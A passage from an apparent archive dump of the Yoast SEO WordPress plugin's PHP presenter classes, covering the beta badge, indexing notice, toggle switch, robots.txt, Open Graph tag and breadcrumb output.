	 * @return string The styled Beta Badge.
	 */
	public function present() {
		if ( $this->link !== '' ) {
			return \sprintf(
				'<a class="yoast-badge yoast-badge__is-link yoast-beta-badge" id="%1$s-beta-badge" href="%2$s">%3$s</a>',
				\esc_attr( $this->id ),
				\esc_url( $this->link ),
				'Beta' // We don't want this string to be translatable.
			);
		}

		return \sprintf(
			'<span class="yoast-badge yoast-beta-badge" id="%1$s-beta-badge">%2$s</span>',
			\esc_attr( $this->id ),
			'Beta' // We don't want this string to be translatable.
		);
	}
}
presenters/admin/indexing-notification-presenter.php000066600000013141152204306260017041 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Indexing_Notification_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Indexing_Notification_Presenter extends Abstract_Presenter {

	/**
	 * The total number of unindexed objects.
	 *
	 * @var int
	 */
	protected $total_unindexed;

	/**
	 * The message to show in the notification.
	 *
	 * @var string
	 */
	protected $reason;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Indexing_Notification_Presenter constructor.
	 *
	 * @param Short_Link_Helper $short_link_helper The short link helper.
	 * @param int               $total_unindexed   Total number of unindexed objects.
	 * @param string            $reason            The reason to show in the notification.
	 */
	public function __construct( $short_link_helper, $total_unindexed, $reason ) {
		$this->short_link_helper = $short_link_helper;
		$this->total_unindexed   = $total_unindexed;
		$this->reason            = $reason;
	}

	/**
	 * Returns the notification as an HTML string.
	 *
	 * @return string The HTML string representation of the notification.
	 */
	public function present() {
		$notification_text  = '<p>' . $this->get_message( $this->reason );
		$notification_text .= $this->get_time_estimate( $this->total_unindexed ) . '</p>';
		$notification_text .= '<a class="button" href="' . \get_admin_url( null, 'admin.php?page=wpseo_tools&start-indexation=true' ) . '">';
		$notification_text .= \esc_html__( 'Start SEO data optimization', 'wordpress-seo' );
		$notification_text .= '</a>';

		return $notification_text;
	}

	/**
	 * Determines the message to show in the indexing notification.
	 *
	 * @param string $reason The reason identifier.
	 *
	 * @return string The message to show in the notification.
	 */
	protected function get_message( $reason ) {
		switch ( $reason ) {
			case Indexing_Reasons::REASON_PERMALINK_SETTINGS:
				$text = \esc_html__( 'Because of a change in your permalink structure, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_HOME_URL_OPTION:
				$text = \esc_html__( 'Because of a change in your home URL setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX:
				$text = \esc_html__( 'Because of a change in your category base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_TAG_BASE_PREFIX:
				$text = \esc_html__( 'Because of a change in your tag base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC:
				$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your post types. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC:
				$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your taxonomies. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED:
				$text = \esc_html__( 'It looks like you\'ve enabled media pages. We recommend that you help us to re-analyze your site by running the SEO data optimization.', 'wordpress-seo' );
				break;
			default:
				$text = \esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored.', 'wordpress-seo' );
		}

		/**
		 * Filter: 'wpseo_indexables_indexation_alert' - Allow developers to filter the reason of the indexation
		 *
		 * @param string $text   The text to show as reason.
		 * @param string $reason The reason value.
		 */
		return (string) \apply_filters( 'wpseo_indexables_indexation_alert', $text, $reason );
	}

	/**
	 * Creates a time estimate based on the total number on unindexed objects.
	 *
	 * @param int $total_unindexed The total number of unindexed objects.
	 *
	 * @return string The time estimate as a HTML string.
	 */
	protected function get_time_estimate( $total_unindexed ) {
		if ( $total_unindexed < 400 ) {
			return \esc_html__( ' We estimate this will take less than a minute.', 'wordpress-seo' );
		}

		if ( $total_unindexed < 2500 ) {
			return \esc_html__( ' We estimate this will take a couple of minutes.', 'wordpress-seo' );
		}

		$estimate  = \esc_html__( ' We estimate this could take a long time, due to the size of your site. As an alternative to waiting, you could:', 'wordpress-seo' );
		$estimate .= '<ul class="ul-disc">';
		$estimate .= '<li>';
		$estimate .= \sprintf(
			/* translators: 1: Expands to Yoast SEO */
			\esc_html__( 'Wait for a week or so, until %1$s automatically processes most of your content in the background.', 'wordpress-seo' ),
			'Yoast SEO'
		);
		$estimate .= '</li>';
		$estimate .= '<li>';
		$estimate .= \sprintf(
			/* translators: 1: Link to article about indexation command, 2: Anchor closing tag, 3: Link to WP CLI. */
			\esc_html__( '%1$sRun the indexation process on your server%2$s using %3$sWP CLI%2$s.', 'wordpress-seo' ),
			'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/3-w' ) ) . '" target="_blank">',
			'</a>',
			'<a href="https://wp-cli.org/" target="_blank">'
		);

		$estimate .= '</li>';
		$estimate .= '</ul>';

		return $estimate;
	}
}
presenters/admin/light-switch-presenter.php000066600000010764152204306260015166 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Light_Switch_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Light_Switch_Presenter extends Abstract_Presenter {

	/**
	 * The variable to create the checkbox for.
	 *
	 * @var string
	 */
	protected $var;

	/**
	 * The visual label text for the toggle.
	 *
	 * @var string
	 */
	protected $label;

	/**
	 * Array of two visual labels for the buttons.
	 *
	 * @var array
	 */
	protected $buttons;

	/**
	 * The name of the underlying checkbox.
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * The variable current value.
	 *
	 * @var string|bool
	 */
	protected $value;

	/**
	 * Reverse order of buttons.
	 *
	 * @var bool
	 */
	protected $reverse;

	/**
	 * The inline Help HTML.
	 *
	 * @var string
	 */
	protected $help;

	/**
	 * Whether the visual label is displayed in strong text.
	 *
	 * @var bool
	 */
	protected $strong;

	/**
	 * The disabled attribute HTML.
	 *
	 * @var string
	 */
	protected $disabled_attribute;

	/**
	 * Light_Switch_Presenter constructor.
	 *
	 * @param string      $variable           The variable to create the checkbox for.
	 * @param string      $label              The visual label text for the toggle.
	 * @param array       $buttons            Array of two visual labels for the buttons (defaults Disabled/Enabled).
	 * @param string      $name               The name of the underlying checkbox.
	 * @param string|bool $value              The variable current value, to determine the checked attribute.
	 * @param bool        $reverse            Optional. Reverse order of buttons (default true).
	 * @param string      $help               Optional. Inline Help HTML that will be printed out before the toggle. Default is empty.
	 * @param bool        $strong             Optional. Whether the visual label is displayed in strong text. Default is false.
	 *                                        Starting from Yoast SEO 16.5, the visual label is forced to bold via CSS.
	 * @param string      $disabled_attribute Optional. The disabled HTML attribute. Default is empty.
	 */
	public function __construct(
		$variable,
		$label,
		$buttons,
		$name,
		$value,
		$reverse = true,
		$help = '',
		$strong = false,
		$disabled_attribute = ''
	) {
		$this->var                = $variable;
		$this->label              = $label;
		$this->buttons            = $buttons;
		$this->name               = $name;
		$this->value              = $value;
		$this->reverse            = $reverse;
		$this->help               = $help;
		$this->strong             = $strong;
		$this->disabled_attribute = $disabled_attribute;
	}

	/**
	 * Presents the light switch toggle.
	 *
	 * @return string The light switch's HTML.
	 */
	public function present() {
		if ( empty( $this->buttons ) ) {
			$this->buttons = [ \__( 'Disabled', 'wordpress-seo' ), \__( 'Enabled', 'wordpress-seo' ) ];
		}

		list( $off_button, $on_button ) = $this->buttons;

		$class = 'switch-light switch-candy switch-yoast-seo';

		if ( $this->reverse ) {
			$class .= ' switch-yoast-seo-reverse';
		}

		$help_class   = ! empty( $this->help ) ? ' switch-container__has-help' : '';
		$strong_class = ( $this->strong ) ? ' switch-light-visual-label__strong' : '';

		$output  = '<div class="switch-container' . $help_class . '">';
		$output .= \sprintf(
			'<span class="switch-light-visual-label%1$s" id="%2$s">%3$s</span>%4$s',
			$strong_class, // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $strong_class output is hardcoded.
			\esc_attr( $this->var . '-label' ),
			\esc_html( $this->label ),
			$this->help // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The help contains HTML.
		);
		$output .= '<label class="' . $class . '"><b class="switch-yoast-seo-jaws-a11y">&nbsp;</b>';
		$output .= \sprintf(
			'<input type="checkbox" aria-labelledby="%1$s" id="%2$s" name="%3$s" value="on"%4$s%5$s/>',
			\esc_attr( $this->var . '-label' ),
			\esc_attr( $this->var ),
			\esc_attr( $this->name ),
			\checked( $this->value, 'on', false ), // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The output is hardcoded by WordPress.
			$this->disabled_attribute // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $disabled_attribute output is hardcoded.
		);
		$output .= '<span aria-hidden="true">';
		$output .= '<span>' . \esc_html( $off_button ) . '</span>';
		$output .= '<span>' . \esc_html( $on_button ) . '</span>';
		$output .= '<a></a>';
		$output .= '</span></label><div class="clear"></div></div>';

		return $output;
	}
}
presenters/robots-txt-presenter.php000066600000010267152204306260013613 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Helpers\Robots_Txt_Helper;

/**
 * Presenter class for the robots.txt file helper.
 */
class Robots_Txt_Presenter extends Abstract_Presenter {

	public const YOAST_OUTPUT_BEFORE_COMMENT = '# START YOAST BLOCK' . \PHP_EOL . '# ---------------------------' . \PHP_EOL;

	public const YOAST_OUTPUT_AFTER_COMMENT = '# ---------------------------' . \PHP_EOL . '# END YOAST BLOCK';

	/**
	 * Text to be outputted for the allow directive.
	 *
	 * @var string
	 */
	public const ALLOW_DIRECTIVE = 'Allow';

	/**
	 * Text to be outputted for the disallow directive.
	 *
	 * @var string
	 */
	public const DISALLOW_DIRECTIVE = 'Disallow';

	/**
	 * Text to be outputted for the user-agent rule.
	 *
	 * @var string
	 */
	public const USER_AGENT_FIELD = 'User-agent';

	/**
	 * Text to be outputted for the sitemap rule.
	 *
	 * @var string
	 */
	public const SITEMAP_FIELD = 'Sitemap';

	/**
	 * Holds the Robots_Txt_Helper.
	 *
	 * @var Robots_Txt_Helper
	 */
	protected $robots_txt_helper;

	/**
	 * Constructor.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 */
	public function __construct( Robots_Txt_Helper $robots_txt_helper ) {
		$this->robots_txt_helper = $robots_txt_helper;
	}

	/**
	 * Generate content to be placed in a robots.txt file.
	 *
	 * @return string Content to be placed in a robots.txt file.
	 */
	public function present() {
		$robots_txt_content = self::YOAST_OUTPUT_BEFORE_COMMENT;
		$robots_txt_content = $this->handle_user_agents( $robots_txt_content );

		$robots_txt_content = $this->handle_site_maps( $robots_txt_content );

		return $robots_txt_content . self::YOAST_OUTPUT_AFTER_COMMENT;
	}

	/**
	 * Adds user agent directives to the robots txt output string.
	 *
	 * @param array  $user_agents        The list if available user agents.
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function add_user_agent_directives( $user_agents, $robots_txt_content ) {
		foreach ( $user_agents as $user_agent ) {
			$robots_txt_content .= self::USER_AGENT_FIELD . ': ' . $user_agent->get_user_agent() . \PHP_EOL;

			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_disallow_paths(), self::DISALLOW_DIRECTIVE );
			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_allow_paths(), self::ALLOW_DIRECTIVE );

			$robots_txt_content .= \PHP_EOL;
		}

		return $robots_txt_content;
	}

	/**
	 *  Adds user agent directives path content to the robots txt output string.
	 *
	 * @param string $robots_txt_content   The current working robots txt string.
	 * @param array  $paths                The list of paths for which to add a txt entry.
	 * @param string $directive_identifier The identifier for the directives. (Disallow of Allow).
	 *
	 * @return string
	 */
	private function add_directive_path( $robots_txt_content, $paths, $directive_identifier ) {
		if ( \count( $paths ) > 0 ) {
			foreach ( $paths as $path ) {
				$robots_txt_content .= $directive_identifier . ': ' . $path . \PHP_EOL;
			}
		}

		return $robots_txt_content;
	}

	/**
	 * Handles adding user agent content to the robots txt content if there is any.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_user_agents( $robots_txt_content ) {
		$user_agents = $this->robots_txt_helper->get_robots_txt_user_agents();

		if ( ! isset( $user_agents['*'] ) ) {
			$robots_txt_content .= 'User-agent: *' . \PHP_EOL;
			$robots_txt_content .= 'Disallow:' . \PHP_EOL . \PHP_EOL;
		}

		$robots_txt_content = $this->add_user_agent_directives( $user_agents, $robots_txt_content );

		return $robots_txt_content;
	}

	/**
	 * Handles adding sitemap content to the robots txt content.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_site_maps( $robots_txt_content ) {
		$registered_sitemaps = $this->robots_txt_helper->get_sitemap_rules();

		foreach ( $registered_sitemaps as $sitemap ) {
			$robots_txt_content .= self::SITEMAP_FIELD . ': ' . $sitemap . \PHP_EOL;
		}

		return $robots_txt_content;
	}
}
presenters/abstract-indexable-presenter.php000066600000003063152204306260015216 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Abstract presenter class for indexable presentations.
 */
abstract class Abstract_Indexable_Presenter extends Abstract_Presenter {

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	public $replace_vars;

	/**
	 * The indexable presentation.
	 *
	 * @var Indexable_Presentation
	 */
	public $presentation;

	/**
	 * The helpers surface
	 *
	 * @var Helpers_Surface
	 */
	public $helpers;

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'NO KEY PROVIDED';

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string|array The raw value.
	 */
	abstract public function get();

	/**
	 * Transforms an indexable presenter's key to a json safe key string.
	 *
	 * @return string|null
	 */
	public function escape_key() {
		if ( $this->key === 'NO KEY PROVIDED' ) {
			return null;
		}
		return \str_replace( [ ':', ' ', '-' ], '_', $this->key );
	}

	/**
	 * Returns the metafield's property key.
	 *
	 * @return string The property key.
	 */
	public function get_key() {
		return $this->key;
	}

	/**
	 * Replace replacement variables in a string.
	 *
	 * @param string $replacevar_string The string with replacement variables.
	 *
	 * @return string The string with replacement variables replaced.
	 */
	protected function replace_vars( $replacevar_string ) {
		return $this->replace_vars->replace( $replacevar_string, $this->presentation->source );
	}
}
presenters/open-graph/locale-presenter.php000066600000002007152204306260014756 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Final presenter class for the Open Graph locale.
 */
final class Locale_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:locale';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the locale through the `wpseo_og_locale` filter.
	 *
	 * @return string The filtered locale.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_og_locale' - Allow changing the Yoast SEO Open Graph locale.
		 *
		 * @param string                 $locale       The locale string
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_og_locale', $this->presentation->open_graph_locale, $this->presentation ) );
	}
}
presenters/open-graph/image-presenter.php000066600000010377152204306260014612 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the Open Graph image.
 */
class Image_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:image';

	/**
	 * Image tags that we output for each image.
	 *
	 * @var array<string>
	 */
	protected static $image_tags = [
		'width'  => 'width',
		'height' => 'height',
		'type'   => 'type',
	];

	/**
	 * Returns the image for a post.
	 *
	 * @return string The image tag.
	 */
	public function present() {
		$images = $this->get();

		if ( empty( $images ) ) {
			return '';
		}

		$return = '';
		foreach ( $images as $image_meta ) {
			$image_url = $image_meta['url'];

			if ( \is_attachment() ) {
				global $wp;
				$image_url = \home_url( $wp->request );
			}

			$class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '';

			$return .= '<meta property="og:image" content="' . \esc_url( $image_url, null, 'attribute' ) . '"' . $class . ' />';

			foreach ( static::$image_tags as $key => $value ) {
				if ( empty( $image_meta[ $key ] ) ) {
					continue;
				}

				$return .= \PHP_EOL . "\t" . '<meta property="og:image:' . \esc_attr( $key ) . '" content="' . \esc_attr( $image_meta[ $key ] ) . '"' . $class . ' />';
			}
		}

		return $return;
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array<string, int> The raw value.
	 */
	public function get() {
		$images = [];

		foreach ( $this->presentation->open_graph_images as $open_graph_image ) {
			$images[] = \array_intersect_key(
				// First filter the object.
				$this->filter( $open_graph_image ),
				// Then strip all keys that aren't in the image tags or the url.
				\array_flip( \array_merge( static::$image_tags, [ 'url' ] ) )
			);
		}

		return \array_filter( $images );
	}

	/**
	 * Run the image content through the `wpseo_opengraph_image` filter.
	 *
	 * @param array<string, string|int> $image The image.
	 *
	 * @return array<string, string|int> The filtered image.
	 */
	protected function filter( $image ) {
		/**
		 * Filter: 'wpseo_opengraph_image' - Allow changing the Open Graph image url.
		 *
		 * @param string                 $image_url    The URL of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_url = \apply_filters( 'wpseo_opengraph_image', $image['url'], $this->presentation );
		if ( ! empty( $image_url ) && \is_string( $image_url ) ) {
			$image['url'] = \trim( $image_url );
		}

		$image_type = ( $image['type'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_type' - Allow changing the Open Graph image type.
		 *
		 * @param string                 $image_type   The type of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_type = \apply_filters( 'wpseo_opengraph_image_type', $image_type, $this->presentation );
		if ( ! empty( $image_type ) && \is_string( $image_type ) ) {
			$image['type'] = \trim( $image_type );
		}
		else {
			$image['type'] = '';
		}

		$image_width = ( $image['width'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_width' - Allow changing the Open Graph image width.
		 *
		 * @param int                    $image_width  The width of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_width = (int) \apply_filters( 'wpseo_opengraph_image_width', $image_width, $this->presentation );
		if ( ! empty( $image_width ) && $image_width > 0 ) {
			$image['width'] = $image_width;
		}
		else {
			$image['width'] = '';
		}

		$image_height = ( $image['height'] ?? '' );
		/**
		 * Filter: 'wpseo_opengraph_image_height' - Allow changing the Open Graph image height.
		 *
		 * @param int                    $image_height The height of the Open Graph image.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$image_height = (int) \apply_filters( 'wpseo_opengraph_image_height', $image_height, $this->presentation );
		if ( ! empty( $image_height ) && $image_height > 0 ) {
			$image['height'] = $image_height;
		}
		else {
			$image['height'] = '';
		}

		return $image;
	}
}
presenters/open-graph/title-presenter.php000066600000002215152204306260014641 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph title.
 */
class Title_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:title';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the title content through replace vars, the `wpseo_opengraph_title` filter and sanitization.
	 *
	 * @return string The filtered title.
	 */
	public function get() {
		$title = $this->replace_vars( $this->presentation->open_graph_title );

		/**
		 * Filter: 'wpseo_opengraph_title' - Allow changing the Yoast SEO generated title.
		 *
		 * @param string                 $title        The title.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$title = \trim( (string) \apply_filters( 'wpseo_opengraph_title', $title, $this->presentation ) );
		return $this->helpers->string->strip_all_tags( $title );
	}
}
presenters/open-graph/url-presenter.php000066600000002161152204306260014322 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph URL.
 */
class Url_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:url';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'attribute';

	/**
	 * Run the url content through the `wpseo_opengraph_url` filter.
	 *
	 * @return string The filtered url.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_url' - Allow changing the Yoast SEO generated open graph URL.
		 *
		 * @param string                 $url          The open graph URL.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \urldecode( (string) \apply_filters( 'wpseo_opengraph_url', $this->presentation->open_graph_url, $this->presentation ) );
	}
}
presenters/open-graph/type-presenter.php000066600000001762152204306260014507 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph type.
 */
class Type_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'og:type';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the opengraph type content through the `wpseo_opengraph_type` filter.
	 *
	 * @return string The filtered type.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_type' - Allow changing the opengraph type.
		 *
		 * @param string                 $type         The type.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \apply_filters( 'wpseo_opengraph_type', $this->presentation->open_graph_type, $this->presentation );
	}
}
presenters/open-graph/article-author-presenter.php000066600000002251152204306260016443 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Open Graph article author.
 */
class Article_Author_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'article:author';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::META_PROPERTY_CONTENT;

	/**
	 * Run the article author's Facebook URL through the `wpseo_opengraph_author_facebook` filter.
	 *
	 * @return string The filtered article author's Facebook URL.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_opengraph_author_facebook' - Allow developers to filter the article author's Facebook URL.
		 *
		 * @param bool|string            $article_author The article author's Facebook URL, return false to disable.
		 * @param Indexable_Presentation $presentation   The presentation of an indexable.
		 */
		return \trim( \apply_filters( 'wpseo_opengraph_author_facebook', $this->presentation->open_graph_article_author, $this->presentation ) );
	}
}
presenters/breadcrumbs-presenter.php000066600000017055152204306260013761 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the breadcrumbs.
 */
class Breadcrumbs_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The id attribute.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * The class name attribute.
	 *
	 * @var string
	 */
	private $class;

	/**
	 * The wrapper element name.
	 *
	 * @var string
	 */
	private $wrapper;

	/**
	 * Separator to use.
	 *
	 * @var string
	 */
	private $separator;

	/**
	 * The element.
	 *
	 * @var string
	 */
	private $element;

	/**
	 * Presents the breadcrumbs.
	 *
	 * @return string The breadcrumbs HTML.
	 */
	public function present() {
		$breadcrumbs = $this->get();
		if ( ! \is_array( $breadcrumbs ) || empty( $breadcrumbs ) ) {
			return '';
		}

		$links = [];
		$total = \count( $breadcrumbs );
		foreach ( $breadcrumbs as $index => $breadcrumb ) {
			$links[ $index ] = $this->crumb_to_link( $breadcrumb, $index, $total );
		}

		// Removes any effectively empty links.
		$links  = \array_map( 'trim', $links );
		$links  = \array_filter( $links );
		$output = \implode( $this->get_separator(), $links );

		if ( empty( $output ) ) {
			return '';
		}

		$output = '<' . $this->get_wrapper() . $this->get_id() . $this->get_class() . '>' . $output . '</' . $this->get_wrapper() . '>';
		$output = $this->filter( $output );

		$prefix = $this->helpers->options->get( 'breadcrumbs-prefix' );
		if ( $prefix !== '' ) {
			$output = "\t" . $prefix . "\n" . $output;
		}

		return $output;
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array The raw value.
	 */
	public function get() {
		return $this->presentation->breadcrumbs;
	}

	/**
	 * Filters the output.
	 *
	 * @param string $output The HTML output.
	 *
	 * @return string The filtered output.
	 */
	protected function filter( $output ) {
		/**
		 * Filter: 'wpseo_breadcrumb_output' - Allow changing the HTML output of the Yoast SEO breadcrumbs class.
		 *
		 * @param string                 $output       The HTML output.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \apply_filters( 'wpseo_breadcrumb_output', $output, $this->presentation );
	}

	/**
	 * Create a breadcrumb element string.
	 *
	 * @param array $breadcrumb Link info array containing the keys:
	 *                          'text'                  => (string) link text.
	 *                          'url'                   => (string) link url.
	 *                          (optional) 'title'      => (string) link title attribute text.
	 * @param int   $index      Index for the current breadcrumb.
	 * @param int   $total      The total number of breadcrumbs.
	 *
	 * @return string The breadcrumb link.
	 */
	protected function crumb_to_link( $breadcrumb, $index, $total ) {
		$link = '';

		if ( ! isset( $breadcrumb['text'] ) || ! \is_string( $breadcrumb['text'] ) || empty( $breadcrumb['text'] ) ) {
			return $link;
		}

		$text = \trim( $breadcrumb['text'] );

		if (
			$index < ( $total - 1 )
			&& isset( $breadcrumb['url'] )
			&& \is_string( $breadcrumb['url'] )
			&& ! empty( $breadcrumb['url'] )
		) {
			// If it's not the last element and we have a url.
			$link      .= '<' . $this->get_element() . '>';
			$title_attr = isset( $breadcrumb['title'] ) ? ' title="' . \esc_attr( $breadcrumb['title'] ) . '"' : '';
			$link      .= '<a';

			if ( $this->should_link_target_blank() ) {
				$link .= ' target="_blank"';
			}
			$link .= ' href="' . \esc_url( $breadcrumb['url'] ) . '"' . $title_attr . '>' . $text . '</a>';
			$link .= '</' . $this->get_element() . '>';
		}
		elseif ( $index === ( $total - 1 ) ) {
			// If it's the last element.

			if ( $this->helpers->options->get( 'breadcrumbs-boldlast' ) === true ) {
				$text = '<strong>' . $text . '</strong>';
			}

			$link .= '<' . $this->get_element() . ' class="breadcrumb_last" aria-current="page">' . $text . '</' . $this->get_element() . '>';
		}
		else {
			// It's not the last element and has no url.
			$link .= '<' . $this->get_element() . '>' . $text . '</' . $this->get_element() . '>';
		}

		/**
		 * Filter: 'wpseo_breadcrumb_single_link' - Allow changing of each link being put out by the Yoast SEO breadcrumbs class.
		 *
		 * @param string $link_output The output string.
		 * @param array  $link        The breadcrumb link array.
		 */
		return \apply_filters( 'wpseo_breadcrumb_single_link', $link, $breadcrumb );
	}

	/**
	 * Retrieves HTML ID attribute.
	 *
	 * @return string The id attribute.
	 */
	protected function get_id() {
		if ( ! $this->id ) {
			/**
			 * Filter: 'wpseo_breadcrumb_output_id' - Allow changing the HTML ID on the Yoast SEO breadcrumbs wrapper element.
			 *
			 * @param string $unsigned ID to add to the wrapper element.
			 */
			$this->id = \apply_filters( 'wpseo_breadcrumb_output_id', '' );
			if ( ! \is_string( $this->id ) ) {
				return '';
			}

			if ( $this->id !== '' ) {
				$this->id = ' id="' . \esc_attr( $this->id ) . '"';
			}
		}

		return $this->id;
	}

	/**
	 * Retrieves HTML Class attribute.
	 *
	 * @return string The class attribute.
	 */
	protected function get_class() {
		if ( ! $this->class ) {
			/**
			 * Filter: 'wpseo_breadcrumb_output_class' - Allow changing the HTML class on the Yoast SEO breadcrumbs wrapper element.
			 *
			 * @param string $unsigned Class to add to the wrapper element.
			 */
			$this->class = \apply_filters( 'wpseo_breadcrumb_output_class', '' );
			if ( ! \is_string( $this->class ) ) {
				return '';
			}

			if ( $this->class !== '' ) {
				$this->class = ' class="' . \esc_attr( $this->class ) . '"';
			}
		}

		return $this->class;
	}

	/**
	 * Retrieves the wrapper element name.
	 *
	 * @return string The wrapper element name.
	 */
	protected function get_wrapper() {
		if ( ! $this->wrapper ) {
			$this->wrapper = \apply_filters( 'wpseo_breadcrumb_output_wrapper', 'span' );
			$this->wrapper = \tag_escape( $this->wrapper );
			if ( ! \is_string( $this->wrapper ) || $this->wrapper === '' ) {
				$this->wrapper = 'span';
			}
		}

